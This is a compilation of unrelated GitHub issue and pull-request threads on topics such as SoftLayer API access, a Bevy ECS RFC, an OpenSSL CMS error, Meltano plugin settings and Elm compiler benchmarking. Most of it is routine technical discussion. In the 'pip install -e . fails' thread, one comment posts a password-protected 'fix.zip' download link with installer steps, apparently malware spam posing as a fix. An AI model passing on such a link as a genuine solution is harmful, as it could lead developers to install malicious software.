Accessing ResourceMetadata without an API key

According to the spec:
http://sldn.softlayer.com/reference/services/SoftLayer_Resource_Metadata
I should be able to access basic resource information without specifying an api key / username as long as the request originates from the backend network of the resource.  When trying to access the service, i continue to receive "XMLRPC::FaultException: Access Denied".
Can be reproduced by the following:

 # On a Softlayer host
   client = SoftLayer::Client.new
   service = client.service_named("Resource_Metadata")
   service.getDatacenter
   => XMLRPC::FaultException: Access Denied.

Any thoughts?

My first thought is that you would probably need to use the "service" API endpoint (the one available the private network) to make your API call.  So your client would need to be configured to use API_PRIVATE_ENDPOINT (SoftLayer::Client.new(endpoint_url : API_PRIVATE_ENDPOINT).
Having said that, I'm not sure that the high level classes like SoftLayer::Client and SoftLayer::Service are prepared to make unauthenticated calls.  Please try with the alternate endpoint URL and let me know if that helps.  Otherwise we may have to do some hard work to allow for unauthenticated calls.

Thanks for the help!  Pointing to the private api endpoint did the trick!


Not working : LocationManager.shared.locateFromGPS

I tried below method in diff diff way but not working in real device as well as in Simulator.
wasted my 2 days to try and find all possible filter and solution in below method
NOT WORKING ANYMORE :-(
        _ = LocationManager.shared.locateFromGPS(.continous,
accuracy:.custom(kCLLocationAccuracyBestForNavigation),
activity: .automotiveNavigation)

@mehulparmar4ever @malcommac Any updates on this?


Update RNNotificationBanner.h

replace #import "BRYXBanner/BRYXBanner-Swift.h" to @import BRYXBanner;
issues:
https://github.com/prscX/react-native-notification-banner/issues/27
https://github.com/prscX/react-native-notification-banner/issues/13

Thanks @eredessil for all the Effort and PR.
Merged.
Thanks
</ Pranav >

please release this on npm


How can I remove default Search by items?

What is the easiest way to remove first select value, which is filter search? #

Hiding the filter input (like in select2) is planned for the beta release.

You can also hide it with styles. With default ViewEncapsulation you'd do something like...
:host /deep/ ng-select .select2-search { display: none; }

I think that hiding the input field will cause errors in the current version, because the component tries to put focus on that input field as soon as the drop down opens.

The beta release has a noFilter property, see https://basvandenberg.github.io/angular2-select (at the bottom) for examples.
This is a number property, for example [noFilter]="10", in which case the filter will be hidden if there are 10 or less options.


Make the build a submission page only take 1 peak annotation file at a time

FEATURE REQUEST
Inspiration
Validating multiple peak annotation files will frequently encounter a browser time-out.
Description
Until #1040 is implemented, limit the validation form to only 1 peak annotation file at a time.
Alternatives

None
Dependencies

#1037

Comment

None

ISSUE OWNER SECTION
Assumptions

List of assumptions that the code will not explicitly address/check
E.g. We will assume input is correct (explaining why there is no validation)

Limitations

A list of things this work will specifically not do
E.g. This feature will only handle the most frequent use case X

Affected Components

change: File path or DB table ...
add: Environment variable or server setting
delete: External executable or cron job

Requirements

[ ] 1. List of numbered conditions to be met for the feature
[ ] 2. E.g. Every column/row must display a value, i.e. cannot be empty
[ ] 3. Numbers for reference & checkboxes for progress tracking

DESIGN
Interface Change description

None provided
Code Change Description

None provided
Tests

[ ] 1. A description of at least one test for each requirement above.
[ ] 2. E.g. Test for req 2 that there's an exception when display value is ''
[ ] 3. Numbers for reference & checkboxes for progress tracking

Closing rejected issue.


feat(images): add responsive image service

Current dependencies on/for this PR:

main

PR #131   👈

This stack of pull requests is managed by Graphite.


Test ignnition on TF 2.7

I'm obtaining the following warning for the shortest_path_tests.py:
WARNING:absl:Function _wrapped_model contains input name(s) src-tgt with unsupported characters which will be renamed to src_tgt in the SavedModel.
This is solved in the branch  hf-tf2.7_test


Maintainer requests API

This PR contains the API for getting the maintainer invites and also the API for accepting/declining maintainer requests.

Thanks, looks great.


pip install -e . fails  AttributeError: seamless has no attribute __version__

when doing pip install -e ., it tries to resolve the version from seamless.__version__.
I'm seeing that you have the SEAMLESS_VERSION_ONLY env var to mitigate the issue in the docs.
Is there a problem with just using seamless.version.version? it seems to me to be a more natural way of solving it.
Alternatively, you can use a build-system, such that poetry (requires plugin), hatch or pdm which can handle these things for you in a more precise manner (either statically or from vsc tags etc.).

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

The problem is, when you import a module it imports __init__.py as well.
I'm working on organizing the code so there will be no side effects when importing the module.
It should be fixed in the next patch.

Yeah I know that, I just don't think the import is even needed when installing (or building a wheel, or building the docs for that matter).
It's not only an issue of side-effects, but also dependencies. You can leave the build environment clean of any dependency, even for required dependencies. To make it happen you just need to not import the __init__.py when resolving the version. This is also true for the docs environment, btw.
What benefit you are trying to achieve from getting the version from seamless.__version__ instead of just seamless.version.version? I guess it "nicer", but does it worth the trouble?
Even if you solve the side-effect thing, you still be left with the imports of required 3rdparty, which aren't needed for building wheels or docs.

I will look into it, I think I tried to import it directly from seamless.version`` but the init.py` file is still being imported.

Let me know if I can help

This is added in 25759aeefd3f8813120b29d0edb969d9ba00eb58


Face swapping given two reference images

For the results given in Figure 7 of the paper, how should the inference code be modified if we want to implement face-swapping for the two reference images (from which identity and attributes are provided separately)

same question

check this #89


World cell queries

Rendered
Implementation PR
Add query and command API on WorldCell instances with shared access.

I see two goals in this RFC:

fine-grained runtime checked queries in WorldCell
make "overlayed" changes to a WorldCell

Goal 1 seems reasonable, and if I remember correctly it wasn't implemented in ECSv2 mainly due to a lack of use cases.
Quoting that PR: "The api is currently limited to resource access, but it can and should be extended to queries / entity component access."
Goal 2 looks like a complex solution to a problem that I'm not yet convinced exist.
All of the examples given can be tweaked to work with the current World API, usually by collecting the queries when they are created.

#[derive(Component, Clone, Copy)]
struct A;
#[derive(Component, Clone, Copy)]
struct B;

fn test() {
    let mut world = World::default();

    let mut query = world.query_filtered::<Entity, With<A>>();
    let entities = query.iter(&world).collect::<Vec<_>>();
    for entity in entities {
        world.entity_mut(entity).insert(B);
    }
}

fn test2() {
    // create world with two entities
    let mut world = World::default();
    let e1 = world.spawn().insert(A).insert(B).id();
    let e2 = world.spawn().insert(A).id();

    let mut query = world.query_filtered::<Entity, (With<A>, Without<B>)>();

    // verify query output before any modifications
    assert_eq!(query.iter(&world).collect::<Vec<_>>(), vec![e2]);

    // remove C from one entity, insert on another
    world.entity_mut(e1).remove::<B>();
    world.entity_mut(e2).insert(B);

    // new query results reflect the changes immediately
    assert_eq!(query.iter(&world).collect::<Vec<_>>(), vec![e1]);
}

fn test3() {
    let mut world = World::default();
    let mut query = world.query::<(Entity, &A)>();

    let result1 = query
        .iter(&world)
        .map(|(entity, a)| (entity, *a))
        .collect::<Vec<_>>();
    let inserted = world.spawn().insert(A).id();
    let result2 = query.iter(&world).collect::<Vec<_>>();

    // iterator created before insert doesn't include new entity
    assert!(!result1.iter().any(|(id, _)| *id == inserted));
    // iterator created after insert does include new entity
    assert!(result2.iter().any(|(id, _)| *id == inserted));
}

Could you provide examples that require the world overlays?
Meanwhile I would recommend splitting Goal 1 into its own PR (not sure an RFC is needed since the API should be the same as World::query)

I understand and emphasize with the pain here: we don't have great solutions for rapid prototyping and complex one-off logic. We absolutely need better tools for "fine-grained runtime checked" access to the World: a number of very common situations are needlessly painful.
However, I don't think this is the way. "Working" prototype code has a nasty habit of turning into production code, and this feature will be a large, hard-to-manage source of technical debt and bugs.
The API uses too big of a gun in the name of usability-when-first-writing: users are encouraged to just toss messy, arbitrary code in these exclusive systems, which will panic in unpredictable ways at runtime based on the world's state. The performance issues are fine: I agree with you that performance vs. ease of development should be a choice left to the end user. I just genuinely don't think this will make writing complex gameplay code easier when the full lifecycle is accounted.

The goal of this RFC is to be able to write code with looser restrictions than the existing APIs, while sacrificing performance in a few ways. Parallelism will not be possible, and there will be more runtime overhead. Borrowing semantics will be upheld at runtime. Queries must follow visibility rules when adding/removing components/entities during iteration, which is not free.
The changes should enable writing familiar code that closely resembles what can be written in popular game engines where gameplay code is single-threaded-only. The key benefit here compared to other engines is that code can access the same data as the existing parallel APIs, meaning users can migrate code between the APIs depending on the evolving needs of their project.
On Discord, there has been a lot of discussion around whether this API enables "bad code", or whether the usecase that has lead to this work could be implemented in some way with existing APIs. I am not interested in further discussing either topics, since it derails from the goals of this API proposal: to be able to write gameplay code with fewer restrictions.

Could you provide examples that require the world overlays?

Arbitrary callbacks which add/remove entities or components, even while borrows to disjoint components are held elsewhere.

I'm against the idea of instant commands. Not having to confront the complexities of deferred commands at all will lead to code that is impossible to pull apart and the prototype code will end up in production. Commands should be as similar as possible to what you can do in normal systems and then applied by an explicit call like command_queue.apply(world).

Coming back to this, I have a hard time following the logical flow of this proposal and agree with Davier above. Why do these changes belong together?
I can get on board with "maximally granular" WorldCell at the expense of performance and runtime panics, provided we have very strong and clear docs for it.
Escape hatches are important, and while we can gradually reduce the necessity of this tool, we're not there yet and will probably never be able to predict all possibly useful access patterns.
Hopefully we can even provide a nice set of errors for it and make some of the issues recoverable.
We need to solve https://github.com/bevyengine/bevy/issues/3096 for exclusive world access to feel usable for arbitrary game logic. But "instant commands" in the fashion proposed is too error-prone and the behavior is too different from the behavior of the commands used in ordinary systems.

Could you provide examples that require the world overlays?

Arbitrary callbacks which add/remove entities or components, even while borrows to disjoint components are held elsewhere.

My point is that you don't need to hold borrows elsewhere, that is what entity ids are for. I think this represents what you describe:
#[derive(Component)]
struct A;
#[derive(Component)]
struct B;

fn test() {
    // Create world
    let mut world = World::default();
    let e1 = world.spawn().insert(A).insert(B).id();
    let e2 = world.spawn().insert(A).id();

    // Borrow stuff
    let mut cell = world.cell();
    let e1_a = cell.entity(e1).get_mut::<A>().unwrap();
    let e2_a = cell.entity(e2).get_mut::<A>();
    let query = cell.query::<A>();

    // Access borrowed things
    for a in query.iter() {}

    // Callbacks
    f1(&mut cell, query, e1_a, e2_a);

    // Access borrowed things
    for a in query.iter() {}
}

fn f1(cell: &mut WorldCell, query: _, e1_a: _, e2_a: _) {
    // Access borrowed things
    *e1_a = *e2_a;
    for a in query.iter() {}
    // Use commands
    cell.spawn().insert(A);
}

And this is what I suggest:
fn test() {
    // Create world
    let mut world = World::default();
    let e1 = world.spawn().insert(A).insert(B).id();
    let e2 = world.spawn().insert(A).id();
    let query = world.query::<A>();

    // Borrow only what is needed, when needed
    for a in query.iter(&world) {}

    // Callbacks using `&mut World` and entity ids
    f1(&mut world, query, e1, e2);

    // Borrow again
    for a in query.iter(&world) {}
}

fn f1(world: &mut World, query: QueryState<A>, e1: Entity, e2: Entity) {
    // Borrow right before use, possibly using WorldCell
    let cell = world.cell();
    let e1_a = cell.entity(e1).get_mut::<A>().unwrap();
    let e2_a = cell.entity(e2).get::<A>().unwrap();
    // Access borrowed things
    *e1_a = *e2_a;
    for a in query.iter(&world) {}
    // Use commands
    world.spawn().insert(A);
}

Does that solve your use case? If you're worried about the verbosity of calling things like cell.entity(e1).get_mut::<A>().unwrap(); in multiple places, I think there is a simpler solution. Notice how the query is created once, passed around, and iterated using world. Maybe we could have a similar wrapper type for component:
// Nothing is borrowed here
let e1_a = world.get_wrapper::<A>(e1);
let e2_a = world.get_wrapper::<A>(e2);

// In a callback
*e1_a.get_mut(world) = *e2_a.get(world);

As mentioned in #12549, @james7132 and I are looking to remove this feature entirely.
If anyone reading this needs advice / features to enable a third-party equivalent, please reach out and we'll do our best to accomodate.


Error raised for decrypting data that is not enveloped

With below pull request, support for AuthEnvelopedData was added.
https://github.com/openssl/openssl/commit/924663c36d47066d5307937da77fed7e872730c7
With this PR, if data is not enveloped, an error is raised at: https://github.com/openssl/openssl/blob/e9492d1cecf459261f1f5ac0eb03e9c631600537/crypto/cms/cms_env.c#L41
In our case, we are decrypting contentType=pkcs7-encryptedData and though, it is successful, due to this new checks,
below error is raised and found when we check for errors.
crypto/cms/cms_env.c,cms_get_enveloped_type,41: error:1700006B:CMS routines::content type not enveloped data
As far as my understanding with latest https://datatracker.ietf.org/doc/html/rfc5652, Encryopted-Data is valid content type.
I wanted to get feedback on this.
Our call stack frames looks like this:
#0  cms_get_enveloped_type (cms=0x7ffff8524d30) at crypto/cms/cms_env.c:30
#1  0x00007ffff471d602 in CMS_get0_RecipientInfos (cms=0x7ffff8524d30) at crypto/cms/cms_env.c:157
#2  0x00007ffff471d67d in ossl_cms_RecipientInfos_set_cmsctx (cms=0x7ffff8524d30) at crypto/cms/cms_env.c:174
#3  0x00007ffff47239fb in ossl_cms_resolve_libctx (ci=0x7ffff8524d30) at crypto/cms/cms_lib.c:106
#4  0x00007ffff4721956 in d2i_CMS_bio (bp=0x7ffff83f87a0, cms=0x0) at crypto/cms/cms_io.c:45
thanks,

So without the https://github.com/openssl/openssl/commit/924663c36d47066d5307937da77fed7e872730c7 your data was decrypted successfully? Could you please provide an example data so we can investigate this?

I am not sure how https://github.com/openssl/openssl/commit/924663c36d47066d5307937da77fed7e872730c7 could cause this as that seems to just add AuthEnvelopedData support along with the EnvelopedData. The EncryptedData must be supported via other paths as before the patch it would trigger very similar errors if it went through the same paths in the code.

Thank you for clarifying.
IMO you aren't doing anything wrong. Sometimes, errors can be left on the error stack even in successful cases. In general we treat this as a bug, so this is a valid bug report.
Also in general it is a good idea to call ERR_clear_error(); from the application before calling SSL_read().

I appreciate you clarifying the issue and thanks for looking into this.


Add missing settings in high value places

These are taps/targets that exist on the hub, are the default variant, have anonymous add usage in the last 6 months, but dont have any settings available. Not having settings makes for a pretty bad experience since you dont know what values it needs once its installed in your project, meaning you need to go read the repo readme or code.
Following https://github.com/meltano/hub/pull/935 we can run the hub_utils script for these taps and try to extract or prompt for missing settings so they're in good enough shape for users.
These are in order of most add requests:

[ ] tap-redshift	https://github.com/datadotworld/tap-redshift (maybe add variant https://github.com/symon-ai/tap-redshift)
[ ] target-azureblobstorage	https://github.com/shrutikaponde-vc/target-azureblobstorage
[ ] tap-google-search-console	https://github.com/singer-io/tap-google-search-console
[ ] tap-mambu	https://github.com/singer-io/tap-mambu
[ ] tap-exchangeratesapi	https://github.com/singer-io/tap-exchangeratesapi
[ ] tap-mailchimp	https://github.com/lovepopcards/tap-mailchimp
[ ] tap-exchangeratehost	https://github.com/anelendata/tap-exchangeratehost
[ ] tap-intercom	https://github.com/singer-io/tap-intercom
[ ] tap-db2	https://github.com/singer-io/tap-db2
[ ] tap-parquet	https://github.com/dataops-tk/tap-parquet
[ ] tap-fixerio	https://github.com/singer-io/tap-fixerio
[ ] tap-appstore	https://github.com/miroapp/tap-appstore
[ ] tap-twitter	https://github.com/bernietai/tap-twitter
[ ] tap-prometheus	https://github.com/miroapp/tap-prometheus
[ ] tap-loopreturns	https://github.com/LoopReturns/tap-loopreturns
[ ] tap-gmail-csv	https://github.com/food-spotter/tap-gmail-csv
[ ] tap-mailgun	https://github.com/streetteam/tap-mailgun
[ ] tap-gmail	https://github.com/Mashey/tap-gmail
[ ] tap-twitter-ads	https://github.com/singer-io/tap-twitter-ads
[ ] tap-dayforce	https://github.com/goodeggs/tap-dayforce
[ ] tap-powerbi-metadata	https://github.com/dataops-tk/tap-powerbi-metadata
[ ] tap-appsflyer	https://github.com/singer-io/tap-appsflyer
[ ] tap-activecampaign	https://github.com/singer-io/tap-activecampaign
[ ] tap-twinfield	https://github.com/Yoast/singer-tap-twinfield
[ ] tap-procore	https://github.com/hotgluexyz/tap-procore
[ ] tap-github-org-projects	https://github.com/rossmcdonald/tap-github-org-projects
[ ] tap-pipedrive	https://github.com/singer-io/tap-pipedrive
[ ] tap-athena	https://github.com/MeltanoLabs/tap-athena
[ ] tap-bls	https://github.com/frasermarlow/tap-bls
[ ] tap-sendgrid	https://github.com/singer-io/tap-sendgrid
[ ] tap-campaign-monitor	https://github.com/singer-io/tap-campaign-monitor
[ ] tap-acuite	https://github.com/FostersData/tap-acuite
[ ] tap-pardot	https://github.com/singer-io/tap-pardot
[ ] tap-paypal	https://github.com/Yoast/singer-tap-paypal
[ ] tap-facebook-posts	https://github.com/rowanv/tap-facebook-posts
[ ] tap-youtube-analytics	https://github.com/singer-io/tap-youtube-analytics
[ ] tap-exacttarget	https://github.com/singer-io/tap-exacttarget
[ ] tap-greenhouse	https://github.com/codyss/tap-greenhouse
[ ] tap-holidays	https://github.com/goodeggs/tap-holidays
[ ] tap-harvest	https://github.com/singer-io/tap-harvest
[ ] tap-freshdesk	https://github.com/singer-io/tap-freshdesk
[ ] tap-dbt	https://github.com/meltanolabs/tap-dbt
[ ] tap-platformpurple	https://github.com/singer-io/tap-platformpurple
[ ] tap-recruitee	https://github.com/Tahasadiki/tap-recruitee
[ ] tap-sumologic	https://github.com/splitio/tap-sumologic
[ ] tap-purecloud	https://github.com/rumeau/tap-purecloud
[ ] tap-zuora	https://github.com/transferwise/pipelinewise-tap-zuora
[ ] tap-zendesk-chat	https://github.com/singer-io/tap-zendesk-chat
[ ] tap-closeio	https://github.com/singer-io/tap-closeio
[ ] tap-linkedin-ads	https://github.com/singer-io/tap-linkedin-ads
[ ] tap-snapchat-ads	https://github.com/singer-io/tap-snapchat-ads
[ ] tap-strava	https://github.com/briansloane/tap-strava
[ ] metabase	https://github.com/metabase/metabase
[ ] tap-abcfinancial	https://github.com/dmzobel/tap-abcfinancial
[ ] tap-square	https://github.com/Kalai-Wavicle/tap-square
[ ] tap-saasoptics	https://github.com/anelendata/tap-saasoptics
[ ] tap-twitter-streams	https://github.com/pbegle/tap-twitter-streams
[ ] tap-fullstory	https://github.com/singer-io/tap-fullstory
[ ] tap-kustomer	https://github.com/singer-io/tap-kustomer
[ ] target-stitch	https://github.com/singer-io/target-stitch
[ ] tap-amazon-advertising	https://github.com/dbt-labs/tap-amazon-advertising
[ ] tap-newrelic	https://github.com/fixdauto/tap-newrelic
[ ] tap-sklik	https://github.com/polar-analytics/tap-sklik
[ ] tap-yotpo	https://github.com/singer-io/tap-yotpo
[ ] tap-helpscout	https://github.com/singer-io/tap-helpscout
[ ] tap-outbrain	https://github.com/dbt-labs/tap-outbrain
[ ] tap-workday-raas	https://github.com/singer-io/tap-workday-raas
[ ] tap-amazon-mws	https://github.com/dbt-labs/tap-amazon-mws
[ ] tap-adyen	https://github.com/Yoast/singer-tap-adyen
[ ] tap-domo	https://github.com/Mashey/tap-domo
[ ] tap-lever	https://github.com/dbt-labs/tap-lever
[ ] tap-iterable	https://github.com/lambtron/tap-iterable
[ ] target-cassandra	https://github.com/coeff/target-cassandra
[ ] tap-looker	https://github.com/singer-io/tap-looker
[ ] tap-urban-airship	https://github.com/singer-io/tap-urban-airship
[ ] tap-eloqua	https://github.com/singer-io/tap-eloqua
[ ] tap-dynamics	https://github.com/dreamdata-io/tap-dynamics
[ ] tap-redash	https://github.com/domb16/tap-redash
[ ] tap-recurly	https://github.com/lambtron/tap-recurly
[ ] tap-harvest-forecast	https://github.com/singer-io/tap-harvest-forecast
[ ] tap-okta	https://github.com/isabella232/tap-okta
[ ] target-datadotworld	https://github.com/datadotworld/target-datadotworld
[ ] tap-sailthru	https://github.com/singer-io/tap-sailthru
[ ] tap-impact	https://github.com/singer-io/tap-impact
[ ] tap-chargify	https://github.com/singer-io/tap-chargify
[ ] tap-clockify	https://github.com/immuta/tap-clockify

This is great - we should cross-post this for Taptoberfest as well.

The query is:
SELECT *
FROM prod.MELTANO_HUB.FACT_VARIANT_HUB_METRICS
LEFT JOIN prep.MELTANOHUB.STG_MELTANOHUB__PLUGINS
	ON FACT_VARIANT_HUB_METRICS.repo = STG_MELTANOHUB__PLUGINS.repo
WHERE COALESCE(FACT_VARIANT_HUB_METRICS.all_projects, 0) != 0
AND STG_MELTANOHUB__PLUGINS.is_default AND settings = []::ARRAY
ORDER BY FACT_VARIANT_HUB_METRICS.all_projects DESC;

I'm closing this issue since all settings have been updated except for 7 which have bugs or other issues. I created individual issues for each of those to track the bug/problem.


preprocessing

Hello, thanks a lot for your interesting work. I have a question regarding the preprocessing you applied on aria images. Do you crop or rectify the images to compensate for radial distortions?

Please check out DATA_PROCESS.md to undistort aria or gopro images.


May I ask why I can't download mediapipe and keep going in circles

which version?

version 99f3e80d (Tue Mar 28 11:58:16 2023) here and also hangs on downloading the model.  Would appreciate alternate download / install instructions for pose detector in the meantime.

Are there any files in extensions\sd-webui-3d-open-pose-editor\downloads\pose\0.5.1675469404?
The files are automatically downloaded by webui.sh/webui.bat.

me too!

Are there any files in extensions\sd-webui-3d-open-pose-editor\downloads\pose\0.5.1675469404? The files are automatically downloaded by webui.sh/webui.bat.

Yes, but this file is only 15Mb and there are no changes in the download

@wsjhou谢谢你。Chrome开发者工具的控制台或网络面板有红色错误吗？

Thank you very much! I use Google browser loading can, the original browser is the problem, never thought about it before is really embarrassing

我也是！

我也是！

I fixed it today, my problem was probably due to browser incompatibility, maybe you can try it?

@wsjhou Thank you. Are there any red errors in the Console or Network panel of the Chrome Developer Tool?

I do have red errors in the Console panel of the Chrome Developer Tool!!! Is it a network problem？I‘ve used my VPN already

Got same error, did anyone solve it?

same error +1


dotnet

@Damian19866 I'm going to close this, as I assume it was a mistake. Feel free to reopen or log a new issue, with more details, if not.


Compiler benchmarking

Add a script for measuring how long it takes to compile Elm programs.
See compiler-benchmark/README.md for usage instructions.
I'd like to get feedback on what additional compilation phases might be useful to track, and if I'm tracking the ones I've chosen in the right way. See costCentreNames in Benchmark.hs.
Here's an example of the output from running the script:
+----------------++------------------------------+
|                || %time in stable %time in dev |
+================++==============================+
| exhaustiveness ||               -         27.5 |
|   optimization ||               -          0.6 |
|        parsing ||               -         53.3 |
| type_inference ||               -         11.1 |
+----------------++------------------------------+

(There are no numbers reported for the stable version of the compiler because v0.17.1 does not have {-# SCC #-} annotations. This is WAI.)

Great, very excited to try this out and see what happens! I'm trying to focus on guide and a blog post at the moment, so I just wanted to explicitly let you know that this is on the work queue!

As an aside, these numbers are already extremely interesting and useful! I can't think of any additional cost centers off the top of my head though.
I believe there's an issue open about improving the exhaustiveness check performance, and this indicates that that project is probably the lowest-cost highest-impact thing we can do right now.

Alright, going to try to review today!

Alright, I merged this in as the compiler-benchmark branch. I also added you to an @elm-lang team that has the ability to work on stuff like this in this repo. I have a couple comments though:
Racing
One of the things I'm most keen to do is race 0.17.1 against master. So if elm-todomvc needs some minor changes from version to version, it also needs to be versioned. I think I just need to look around more to understand to race master against older versions.
I'm currently doing some work on the dev branch that should lead to some parser speed improvements for example, but I'm not sure how to run the race.
Caching Profiling Binaries?
Maybe one way to facilitate races is to create profiling binaries like elm-make-old and elm-make-new so you can always compare to a concrete reference point. And as a developer, all you have to do is recreate the elm-make-new binary, which is necessary either way.
Style
I want the Haskell code we write to look roughly like this, but the code is already not super consistent because much of it was written before this and hasn't been revisited in a while. Your code is really nice to read, but I just wanted to mention this overall consistency goal.

In any case, this seems like a solid foundation for starting on more serious optimization passes! For me the next step is to try to race dev against 0.17.1. What are next steps for you?

Alright, after thinking about it a bit more:

It seems like the cost center annotations should be added to the elm-compiler repo, and to elm-make possibly. That can be merged into master right now.
The code for creating a set of profiling binaries maybe should live in this build script.
The code for actually running the benchmark maybe should be in its own repo? Partly, I don't want cabal install to take longer when building binaries, and having a separate .cabal file is the only simple way I know to achieve that. Partly, this would mean we could have files that describe how to run 0.17.1 or master or whatever.
About the frailty of adding cost center comments by name, is there a way to have certain agreed upon prefixes and filter by that? Like, all tags start with elm-*. And maybe we have priority levels, so more filtering can be done. Like elm-0-parsing and elm-1-binop-parsing so you could ask for zero and lower.

I feel like these thoughts are sort of missing the point. What do you want to do next, and are there ways I can help make that happen?

More about cost center tags
What if there were "levels" of the cost center, so you can have annotations like this:

elm/parse
elm/parse/binop
elm/parse/list
elm/inference
elm/inference/unify
...

So if you ask for one level, you just get elm/parse and elm/inference. If you ask for two levels, you get everything. Etc.
This way we can use the same benchmark runner no matter how drastically the compiler changes. Just start the comments with elm/ and it'll be fine.

Great - thanks for the comments!
My immediate next steps are to:

Submit cost center annotations to elm-compiler (and elm-make if any are required there). I like the "elm/" prefix scheme for cost center tags much better than what I have now, so I'll switch the annotations and the benchmarking code to use the slash-delimited scheme you suggested.
Enable racing 0.17.1 against dev by supporting stable and dev versions of the Elm projects used for benchmarking.

I think it's a sensible plan to move the benchmarking code to a separate repository. Then, the Benchmark.hs script could use elm-platform/BuildFromSource.hs to build different stable versions of the compiler. Moving the benchmarking code out of elm-compiler would make it easier to benchmark different branches of elm-compiler (currently, to race dev against 0.17.1, you need to rebase compiler-benchmark onto dev, then run the script). FWIW, the "cabal install" build time isn't so much of an issue, since cabal supports "Benchmark" build targets which are run with "cabal bench", and which (I believe) aren't built unless benchmarking is enabled with cabal configure --enable-benchmarks.
So the plan is:

Move the compiler-benchmark directory from elm-compiler into a new repository.
Refactor Benchmark.hs to use elm-platform/BuildFromSource.hs. This will require changes to BuildFromSource.hs to support an --enable-profiling command-line option.

Makes sense to me!


Coordinated Universal Time support

Added support in configuration to set whether or not Coordinated Universal Time should be used.

Hey all, my firm is global and all date/time stamps we store must be UTC. I modified your code to suit our needs. Hopefully you'll see this simple addition as useful and include it.

Hello @craigmoliver ,
Thank you for your pull,
Yes, I believe that's a great addition.
We will review your pull and probably merge it at the end of the week.
Best Regards,
Jonathan

Performance Libraries
context.BulkInsert(list, options => options.BatchSize = 1000);
Entity Framework Extensions • Entity Framework Classic • Bulk Operations •  Dapper Plus •  LinqToSql Plus
Runtime Evaluation
Eval.Execute("x + y", new {x = 1, y = 2}); // return 3
C# Eval Function • SQL Eval Function

Thanks! Glad to hear. The code is working great so far. I may have more coming. Great work to all on this library.

Hello @craigmoliver ,
The pull has been merged, we have made some small modification such as renaming the property to UseUtcDateTime since it seems to be the option name people normally use.
Let me know if everything works as expected.
Just to let you know, we currently focus more our time on EF Classic: https://entityframework-classic.net/
So if you have some idea for this library, they will be also very welcome ;)
Best Regards,
Jonathan


ReportService rename

ReportService doesnt exclusively do reports, and its more of a repository.

Addressed in 1.1.8.


Focus jumps to first grid item when appending list of items

When increasing the length of the data array via props, the focus on Android TV jumps to the first item in the grid when the list re-renders.
This means that if I want to implement lazy loading / pagination, the user must navigate down the grid once more items have been fetched.
Is there a way to stop this happening or is this functionality not supported? The focused item needs to stay fixed when updating the data prop.

Hi there, any updates on this issue?


Create few unit tests

Create unit tests for ci

Implemented few unit tests, see main branch commits.


Git push failing with "git-remote-keybase error: (1) Server: block does not exist"

I had a git push get stuck (noticed it after a minute or so.) I killed the git process and tried again, but now the result is always
Initializing Keybase... done.
Syncing with Keybase... Server: block does not exist
git-remote-keybase error: (1) Server: block does not exist

my log id: 6c6d207293939d1a120cdb1c

It seems like the root cause of the issue happened on March 30th, before the macOS release that contains the fix for an issue with a similar symptom: keybase/kbfs#1513.
So my best guess is you hit the same bug (maybe the same as #10816 as well).
Do you have an up-to-date local copy of this repo (with all branches, etc)?  If so, the easiest thing is probably the delete the repo with keybase git delete <reponame> or in the GUI, and then recreate it and push to it from your local copy.
After you do that, you might find that git commands start failing with the same error after a little while -- in that case, please do another keybase log send and I can help you get rid of it permanently.
If you can't restore the repo on your own, I can work with you to restore the data on our servers, but it'll take some time and some back-and-forth.  But happy to do it if needed.


⚠ Bofrost.at has degraded performance

In 8caaeff, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1166 ms

Resolved: Bofrost.at performance has improved in 5c254c8.


New Transaction Modal

Description
This PR replaces the current NotificationModal with a new Transaction Modal for the views STAKE/UNSTAKE and OFFSET and WRAP.
You can find the new modal under the preview link for STAKE/UNSTAKE and OFFSET and WRAP
You can reset your approvals here: https://polygonscan.com/tokenapprovalchecker for better testing.
CURRENT STATE

dynamic Modal title
show spender address
show token icon and amount
Fixed text for Approve and Submit (should match for all stake, wrap, offset)
Views done: OFFSET, STAKE, WRAP ✅
Views open: PKLIMA => no not maintained anymore, BONDS => follow-up PR

APPROVE
SUBMIT

Related Ticket
Resolves https://github.com/KlimaDAO/klimadao/issues/9
Checklist

[x] Building the site with npm run build-site works without errors
[x] Building the app with npm run build-app works without errors
[x] I formatted JS and TS files with running npm run format-all

@Atmosfearful Everything done.

Retirement didn't work for me the first time. Got stuck on Approve. Might just be a glitch because it worked the second time.

I think it's worth making contract address completely visible. What I would do is I would copy paste it into polygonscan to make sure it's what I want to interact with. Not showing it means I have to go to discord, find the full address in "resources", and compare the first and last characters - much worse UX.

Inconsistency: when staking/unstaking and wrapping/unwrapping, we are prompted to, for example, "STAKE KLIMA" before the modal opens. When offsetting, we are prompted to "APPROVE" before the modal opens instead of "OFFSET".


PanDeviceXapiError when trying to add an Address to an AddressGroup

I'm trying to add an AddressObject to an AddressGroup, but am getting an XapiError:
from pandevice import firewall, objects

pan_ip = "<IP_ADDRESS>"
pan_user = "admin"
pan_pass = "password"

fw = firewall.Firewall(pan_ip, pan_user, pan_pass)

block_ip = '<IP_ADDRESS>'
ao = objects.AddressObject("Name of block", block_ip, description="Description of block")
fw.add(ao)
ao.create()

address_group_name = 'foo'
objects.AddressGroup.refreshall(fw, add=True)
for ag in fw.children:
    if ag.name == address_group_name:
        our_ag = ag
        break

our_ag.add(ao)
our_ag.apply()

Results in:
Traceback (most recent call last):
  File "palo_test.py", line 23, in <module>
    our_ag.apply()
  File "/Users/jackson/Library/Python/2.7/lib/python/site-packages/pandevice/base.py", line 554, in apply
    device.active().xapi.edit(self.xpath(), self.element_str(), retry_on_peer=self.HA_SYNC)
  File "/Users/jackson/Library/Python/2.7/lib/python/site-packages/pandevice/base.py", line 3253, in method
    raise the_exception
pandevice.errors.PanDeviceXapiError:  foo -> address unexpected here

Not sure why it won't let me apply this? Any advice would be great

@vesche
Address groups don't have address object children.  In fact, address groups don't have children at all.  For static address groups, you want to be updating the static_value parameter in address groups to add a new address object.
As a hint, when working with pandevice, if you look at a class' CHILDTYPES variable, you'll see what kinds of objects will be underneath that object.  Since objects.AddressObject and objects.AddressGroup show up under pandevice.firewall.Firewall, pandevice.panorama.Panorama, and pandevice.device.Vsys, you know that you'll only ever find them there.
So in your code, after you get the address group our_ag, you'll want to do this instead:
our_ag.static_value.append(ao)
our_ag.apply()

Hope this helps!


QR Code for AR Meditation ID Validation Bug:

Description
Describe the bug:
